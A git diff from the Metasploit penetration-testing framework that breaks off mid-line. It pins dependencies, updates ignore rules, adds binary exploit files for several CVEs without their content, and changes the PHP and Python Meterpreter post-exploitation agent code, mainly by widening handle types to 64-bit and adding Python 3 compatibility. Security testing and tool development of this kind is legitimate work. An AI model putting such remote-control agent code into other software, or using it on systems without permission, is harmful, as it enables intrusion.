diff --git a/.gitignore b/.gitignore index 82e108ff0c..0661f00c84 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,6 @@ .bundle +Gemfile.local +Gemfile.local.lock # Rubymine project directory .idea # Sublime Text project directory (not created by ST by default) @@ -13,8 +15,6 @@ config/database.yml # simplecov coverage data coverage -data/meterpreter/ext_server_pivot.x86.dll -data/meterpreter/ext_server_pivot.x64.dll doc/ external/source/meterpreter/java/bin external/source/meterpreter/java/build @@ -51,3 +51,22 @@ tags # ignore release/debug folders for exploits external/source/exploits/**/Debug external/source/exploits/**/Release + +# Avoid checking in Meterpreter binaries. These are supplied upstream by +# the meterpreter_bins gem. +data/meterpreter/elevator.*.dll +data/meterpreter/ext_server_espia.*.dll +data/meterpreter/ext_server_extapi.*.dll +data/meterpreter/ext_server_incognito.*.dll +data/meterpreter/ext_server_kiwi.*.dll +data/meterpreter/ext_server_lanattacks.*.dll +data/meterpreter/ext_server_mimikatz.*.dll +data/meterpreter/ext_server_priv.*.dll +data/meterpreter/ext_server_stdapi.*.dll +data/meterpreter/metsrv.*.dll +data/meterpreter/screenshot.*.dll + +# Avoid checking in Meterpreter libs that are built from +# private source. If you're interested in this functionality, +# check out Metasploit Pro: http://metasploit.com/download +data/meterpreter/ext_server_pivot.*.dll diff --git a/.mailmap b/.mailmap index 713206e261..79a858c2a7 100644 --- a/.mailmap +++ b/.mailmap @@ -18,6 +18,7 @@ todb-r7 Tod Beardsley todb-r7 Tod Beardsley todb-r7 Tod Beardsley trosen-r7 Trevor Rosen +trosen-r7 Trevor Rosen wchen-r7 sinn3r # aka sinn3r wchen-r7 sinn3r wchen-r7 Wei Chen diff --git a/.rubocop.yml b/.rubocop.yml new file mode 100644 index 0000000000..a8a443fbd5 --- /dev/null +++ b/.rubocop.yml @@ -0,0 +1,19 @@ +LineLength: + Enabled: true + Max: 180 + +MethodLength: + Enabled: true + Max: 100 + +Style/ClassLength: + Exclude: + # Most modules are quite large and all contained in one class. This is OK. + - 'modules/**/*' + +Style/NumericLiterals: + Enabled: false + +Documentation: + Exclude: + - 'modules/**/*' diff --git a/.ruby-version b/.ruby-version index 7a895c2142..75bfecd56a 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -1.9.3-p484 +1.9.3-p547 diff --git a/.yardopts b/.yardopts index bb3a0e391f..eb3cff1cc2 100644 --- a/.yardopts +++ b/.yardopts @@ -5,3 +5,4 @@ --files CONTRIBUTING.md,COPYING,HACKING,LICENSE lib/msf/**/*.rb lib/rex/**/*.rb +plugins/**/*.rb diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b0614159d5..6de7c3cf36 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -33,6 +33,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f ## Code Contributions * **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide). +* Similarly, **try** to get Rubocop passing or at least relatively quiet against the files added/modified as part of your contribution * **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages. * **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`. @@ -50,7 +51,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) #### New Modules * **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb). -* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much. +* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much. * **Don't** include more than one module per pull request. #### Library Code diff --git a/Gemfile b/Gemfile index c6f821cd4c..a5a71b8d46 100755 --- a/Gemfile +++ b/Gemfile @@ -1,27 +1,31 @@ source 'https://rubygems.org' # Need 3+ for ActiveSupport::Concern -gem 'activesupport', '>= 3.0.0' +gem 'activesupport', '>= 3.0.0', '< 4.0.0' # Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) gem 'bcrypt' # Needed for some admin modules (scrutinizer_add_user.rb) gem 'json' +# Needed for Meterpreter on Windows, soon others. +gem 'meterpreter_bins', '0.0.6' # Needed by msfgui and other rpc components gem 'msgpack' # Needed by anemone crawler gem 'nokogiri' +# Needed by db.rb and Msf::Exploit::Capture +gem 'packetfu', '1.1.9' # Needed by JSObfu gem 'rkelly-remix', '0.0.6' # Needed by anemone crawler gem 'robots' -# Needed by db.rb and Msf::Exploit::Capture -gem 'packetfu', '1.1.9' +# Needed for some post modules +gem 'sqlite3' group :db do # Needed for Msf::DbManager - gem 'activerecord' + gem 'activerecord', '>= 3.0.0', '< 4.0.0' # Database models shared between framework and Pro. - gem 'metasploit_data_models', '~> 0.17.0' + gem 'metasploit_data_models', '0.17.0' # Needed for module caching in Mdm::ModuleDetails gem 'pg', '>= 0.11' end @@ -33,6 +37,8 @@ group :pcap do end group :development do + # Style/sanity checking Ruby code + gem 'rubocop' # Markdown formatting for yard gem 'redcarpet' # generating documentation diff --git a/Gemfile.local.example b/Gemfile.local.example new file mode 100644 index 0000000000..9788ec95dc --- /dev/null +++ b/Gemfile.local.example @@ -0,0 +1,36 @@ +## +# Example Gemfile.local file for Metasploit Framework +# +# The Gemfile.local file provides a way to use other gems that are not +# included in the standard Gemfile provided with Metasploit. +# This filename is included in Metasploit's .gitignore file, so local changes +# to this file will not accidentally show up in future pull requests. This +# example Gemfile.local includes all gems in Gemfile using instance_eval. +# It also creates a new bundle group, 'local', to hold additional gems. +# +# This file will not be used by default within the framework. As such, one +# must first install the custom Gemfile.local with bundle: +# bundle install --gemfile Gemfile.local +# +# Note that msfupdate does not consider Gemfile.local when updating the +# framework. If it is used, it may be necessary to run the above bundle +# command after the update. +# +### + +# Include the Gemfile included with the framework. This is very +# important for picking up new gem dependencies. +msf_gemfile = File.join(File.dirname(__FILE__), 'Gemfile') +if File.readable?(msf_gemfile) + instance_eval(File.read(msf_gemfile)) +end + +# Create a custom group +group :local do + # Use pry to help view and interact with objects in the framework + gem 'pry', '~> 0.9' + # Use pry-debugger to step through code during development + gem 'pry-debugger', '~> 0.2' + # Add the lab gem so that the 'lab' plugin will work again + gem 'lab', '~> 0.2.7' +end diff --git a/Gemfile.lock b/Gemfile.lock index 379ea1cb81..0ae4dcf18e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -13,6 +13,7 @@ GEM i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) arel (3.0.2) + ast (2.0.0) bcrypt (3.1.7) builder (3.0.4) database_cleaner (1.1.1) @@ -26,6 +27,7 @@ GEM activerecord (>= 3.2.13) activesupport pg + meterpreter_bins (0.0.6) mini_portile (0.5.1) msgpack (0.5.5) multi_json (1.0.4) @@ -33,8 +35,13 @@ GEM nokogiri (1.6.0) mini_portile (~> 0.5.0) packetfu (1.1.9) + parser (2.1.9) + ast (>= 1.1, < 3.0) + slop (~> 3.4, >= 3.4.5) pcaprub (0.11.3) pg (0.16.0) + powerpack (0.0.9) + rainbow (2.0.0) rake (10.1.0) redcarpet (3.0.0) rkelly-remix (0.0.6) @@ -47,12 +54,21 @@ GEM rspec-expectations (2.14.2) diff-lcs (>= 1.1.3, < 2.0) rspec-mocks (2.14.3) + rubocop (0.23.0) + json (>= 1.7.7, < 2) + parser (~> 2.1.9) + powerpack (~> 0.0.6) + rainbow (>= 1.99.1, < 3.0) + ruby-progressbar (~> 1.4) + ruby-progressbar (1.5.1) shoulda-matchers (2.3.0) activesupport (>= 3.0.0) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) + slop (3.5.0) + sqlite3 (1.3.9) timecop (0.6.3) tzinfo (0.3.37) yard (0.8.7) @@ -61,14 +77,15 @@ PLATFORMS ruby DEPENDENCIES - activerecord - activesupport (>= 3.0.0) + activerecord (>= 3.0.0, < 4.0.0) + activesupport (>= 3.0.0, < 4.0.0) bcrypt database_cleaner factory_girl (>= 4.1.0) fivemat (= 1.2.1) json - metasploit_data_models (~> 0.17.0) + metasploit_data_models (= 0.17.0) + meterpreter_bins (= 0.0.6) msgpack network_interface (~> 0.0.1) nokogiri @@ -80,7 +97,9 @@ DEPENDENCIES rkelly-remix (= 0.0.6) robots rspec (>= 2.12) + rubocop shoulda-matchers simplecov (= 0.5.4) + sqlite3 timecop yard diff --git a/HACKING b/HACKING index 1de1e7cfa1..17343a9f03 100644 --- a/HACKING +++ b/HACKING @@ -10,7 +10,7 @@ CONTRIBUTING.md in the same directory as this file, and to a lesser extent: The Metasploit Development Environment -https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment +https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment Common Coding Mistakes https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes diff --git a/LICENSE b/LICENSE index ea38924130..e16ad8f0a2 100644 --- a/LICENSE +++ b/LICENSE @@ -36,6 +36,10 @@ Files: external/ruby-lorcon/* Copyright: 2005, dragorn and Joshua Wright License: LGPL-2.1 +Files: external/source/exploits/IE11SandboxEscapes/* +Copyright: James Forshaw, 2014 +License: GPLv3 + Files: external/source/byakugan/* Copyright: Lurene Grenier, 2009 License: BSD-3-clause diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 39fa1cea0e..57e86cd85b 100644 Binary files a/data/android/apk/AndroidManifest.xml and b/data/android/apk/AndroidManifest.xml differ diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex index 29eda9c903..ff39e87f11 100644 Binary files a/data/android/apk/classes.dex and b/data/android/apk/classes.dex differ diff --git a/data/android/apk/res/drawable-mdpi/icon.png b/data/android/apk/res/drawable-mdpi/icon.png deleted file mode 100644 index c2e4f5634b..0000000000 Binary files a/data/android/apk/res/drawable-mdpi/icon.png and /dev/null differ diff --git a/data/android/apk/res/layout/main.xml b/data/android/apk/res/layout/main.xml deleted file mode 100644 index 23d9bacad3..0000000000 Binary files a/data/android/apk/res/layout/main.xml and /dev/null differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 4fe928b45e..03f6c44d28 100644 Binary files a/data/android/apk/resources.arsc and b/data/android/apk/resources.arsc differ diff --git a/data/android/libs/armeabi/libndkstager.so b/data/android/libs/armeabi/libndkstager.so new file mode 100644 index 0000000000..d5b8051f7e Binary files /dev/null and b/data/android/libs/armeabi/libndkstager.so differ diff --git a/data/android/libs/mips/libndkstager.so b/data/android/libs/mips/libndkstager.so new file mode 100644 index 0000000000..973ffe39a7 Binary files /dev/null and b/data/android/libs/mips/libndkstager.so differ diff --git a/data/android/libs/x86/libndkstager.so b/data/android/libs/x86/libndkstager.so new file mode 100644 index 0000000000..2ebc0a6bcc Binary files /dev/null and b/data/android/libs/x86/libndkstager.so differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar index 9fcffba058..35e3ddf6b5 100644 Binary files a/data/android/meterpreter.jar and b/data/android/meterpreter.jar differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 9a3d4d6315..6803307a5f 100644 Binary files a/data/android/metstage.jar and b/data/android/metstage.jar differ diff --git a/data/android/shell.jar b/data/android/shell.jar index 83c879c582..5fd680fa8f 100644 Binary files a/data/android/shell.jar and b/data/android/shell.jar differ diff --git a/data/exploits/CVE-2013-5045/CVE-2013-5045.dll b/data/exploits/CVE-2013-5045/CVE-2013-5045.dll new file mode 100755 index 0000000000..fd0b378216 Binary files /dev/null and b/data/exploits/CVE-2013-5045/CVE-2013-5045.dll differ diff --git a/data/exploits/CVE-2013-5331/Exploit.swf b/data/exploits/CVE-2013-5331/Exploit.swf new file mode 100755 index 0000000000..5dbfe348fb Binary files /dev/null and b/data/exploits/CVE-2013-5331/Exploit.swf differ diff --git a/data/exploits/CVE-2014-0257/CVE-2014-0257.dll b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll new file mode 100755 index 0000000000..880dab9127 Binary files /dev/null and b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll differ diff --git a/data/exploits/CVE-2014-0497/Vickers.swf b/data/exploits/CVE-2014-0497/Vickers.swf new file mode 100755 index 0000000000..f0e1ccb1f4 Binary files /dev/null and b/data/exploits/CVE-2014-0497/Vickers.swf differ diff --git a/data/exploits/CVE-2014-0515/Graph.swf b/data/exploits/CVE-2014-0515/Graph.swf new file mode 100755 index 0000000000..aa30c2421e Binary files /dev/null and b/data/exploits/CVE-2014-0515/Graph.swf differ diff --git a/data/exploits/cve-2013-1300/schlamperei.x86.dll b/data/exploits/cve-2013-1300/schlamperei.x86.dll new file mode 100644 index 0000000000..9b43f9843d Binary files /dev/null and b/data/exploits/cve-2013-1300/schlamperei.x86.dll differ diff --git a/data/exploits/osx/nfs_mount_priv_escalation.bin b/data/exploits/osx/nfs_mount_priv_escalation.bin new file mode 100644 index 0000000000..fe182e5693 Binary files /dev/null and b/data/exploits/osx/nfs_mount_priv_escalation.bin differ diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 05850b7398..408b3f92c8 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -20,6 +20,7 @@ arch_armle = "armle"; arch_x86 = "x86"; arch_x86_64 = "x86_64"; arch_ppc = "ppc"; +arch_mipsle = "mipsle"; window.os_detect = {}; @@ -184,9 +185,15 @@ window.os_detect.getVersion = function(){ } else if (platform.match(/arm/)) { // Android and maemo arch = arch_armle; - if (navigator.userAgent.match(/android/i)) { - os_flavor = 'Android'; - } + } else if (platform.match(/x86/)) { + arch = arch_x86; + } else if (platform.match(/mips/)) { + arch = arch_mipsle; + } + + + if (navigator.userAgent.match(/android/i)) { + os_flavor = 'Android'; } } else if (platform.match(/windows/)) { os_name = oses_windows; diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib old mode 100755 new mode 100644 index dc6eda3974..7513cc3ae8 Binary files a/data/meterpreter/common.lib and b/data/meterpreter/common.lib differ diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll deleted file mode 100755 index 5704ed065d..0000000000 Binary files a/data/meterpreter/elevator.x64.dll and /dev/null differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll deleted file mode 100755 index 5162e25b34..0000000000 Binary files a/data/meterpreter/elevator.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll deleted file mode 100755 index c3297a20ac..0000000000 Binary files a/data/meterpreter/ext_server_espia.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll deleted file mode 100755 index 9f4938354a..0000000000 Binary files a/data/meterpreter/ext_server_espia.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll deleted file mode 100755 index 485311ec94..0000000000 Binary files a/data/meterpreter/ext_server_extapi.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll deleted file mode 100755 index 985a510475..0000000000 Binary files a/data/meterpreter/ext_server_extapi.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll deleted file mode 100755 index faed750330..0000000000 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll deleted file mode 100755 index 98198341b3..0000000000 Binary files a/data/meterpreter/ext_server_incognito.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll deleted file mode 100755 index 294ef2261a..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll deleted file mode 100755 index ef92743241..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll deleted file mode 100755 index 2d10147d47..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll deleted file mode 100755 index 88df3a70e3..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index fef0426930..95eee22e7f 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll deleted file mode 100755 index f13693d08b..0000000000 Binary files a/data/meterpreter/ext_server_priv.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll deleted file mode 100755 index 0e61427ac4..0000000000 Binary files a/data/meterpreter/ext_server_priv.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index a172634dd1..d7c4ee9956 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 75b7a50a32..3a36b5bf81 100755 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and b/data/meterpreter/ext_server_sniffer.x64.dll differ diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll index 1b88ab0fcc..b3d708ef96 100755 Binary files a/data/meterpreter/ext_server_sniffer.x86.dll and b/data/meterpreter/ext_server_sniffer.x86.dll differ diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar index bef5cee014..b6a01cac09 100644 Binary files a/data/meterpreter/ext_server_stdapi.jar and b/data/meterpreter/ext_server_stdapi.jar differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index e9e73d42db..383bb0579c 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php index 20cbc03793..e2565f86d0 100755 --- a/data/meterpreter/ext_server_stdapi.php +++ b/data/meterpreter/ext_server_stdapi.php @@ -6,10 +6,10 @@ ## # General ## -define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600); +define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600); define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601); -define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630); -define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631); +define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630); +define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631); ## # Fs @@ -65,7 +65,7 @@ define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2)); define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3)); # Registry -define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000); +define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000); define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY); define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001); define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002); @@ -90,12 +90,12 @@ define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102); define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0)); # Process -define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000); +define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000); define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001); define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002); define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003); define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004); -define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005); +define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005); define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006); define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007); define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008); @@ -109,16 +109,16 @@ define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305); define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400); define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401); define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402); -define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403); -define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404); +define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403); +define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404); define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405); define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406); define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500); define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502); define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510); -define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511); -define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512); +define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511); +define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512); define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513); define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540); @@ -137,7 +137,7 @@ define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002); # Event Log ## define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000); -define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001); +define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001); define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002); define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003); diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index ae9cab6cb8..660072ad2b 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -48,6 +48,24 @@ try: except ImportError: has_winreg = False +try: + import winreg + has_winreg = True +except ImportError: + has_winreg = (has_winreg or False) + +if sys.version_info[0] < 3: + is_str = lambda obj: issubclass(obj.__class__, str) + is_bytes = lambda obj: issubclass(obj.__class__, str) + bytes = lambda *args: str(*args[:1]) + NULL_BYTE = '\x00' +else: + is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) + is_bytes = lambda obj: issubclass(obj.__class__, bytes) + str = lambda x: __builtins__['str'](x, 'UTF-8') + NULL_BYTE = bytes('\x00', 'UTF-8') + long = int + if has_ctypes: # # Windows Structures @@ -234,6 +252,7 @@ TLV_META_TYPE_STRING = (1 << 16) TLV_META_TYPE_UINT = (1 << 17) TLV_META_TYPE_RAW = (1 << 18) TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) TLV_META_TYPE_GROUP = (1 << 30) TLV_META_TYPE_COMPLEX = (1 << 31) @@ -266,10 +285,10 @@ TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 ## # General ## -TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 -TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 -TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 ## # Fs @@ -328,7 +347,7 @@ TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 ## # Registry ## -TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 @@ -358,12 +377,12 @@ DELETE_KEY_FLAG_RECURSIVE = (1 << 0) ## # Process ## -TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 -TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 @@ -379,16 +398,16 @@ TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 -TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 -TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 -TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 @@ -407,7 +426,7 @@ TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 # Event Log ## TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 -TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 @@ -498,11 +517,12 @@ def get_stat_buffer(path): blocks = si.st_blocks st_buf = struct.pack('> 32) & 0xFFFFFFFF; + $lo = $tlv['value'] & 0xFFFFFFFF; + $ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo); + } elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); } @@ -686,10 +692,17 @@ function tlv_unpack($raw_tlv) { my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); + # PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing + # NULL, so catch that here + $tlv['value'] = str_replace("\0", "", $tlv['value']); } elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, 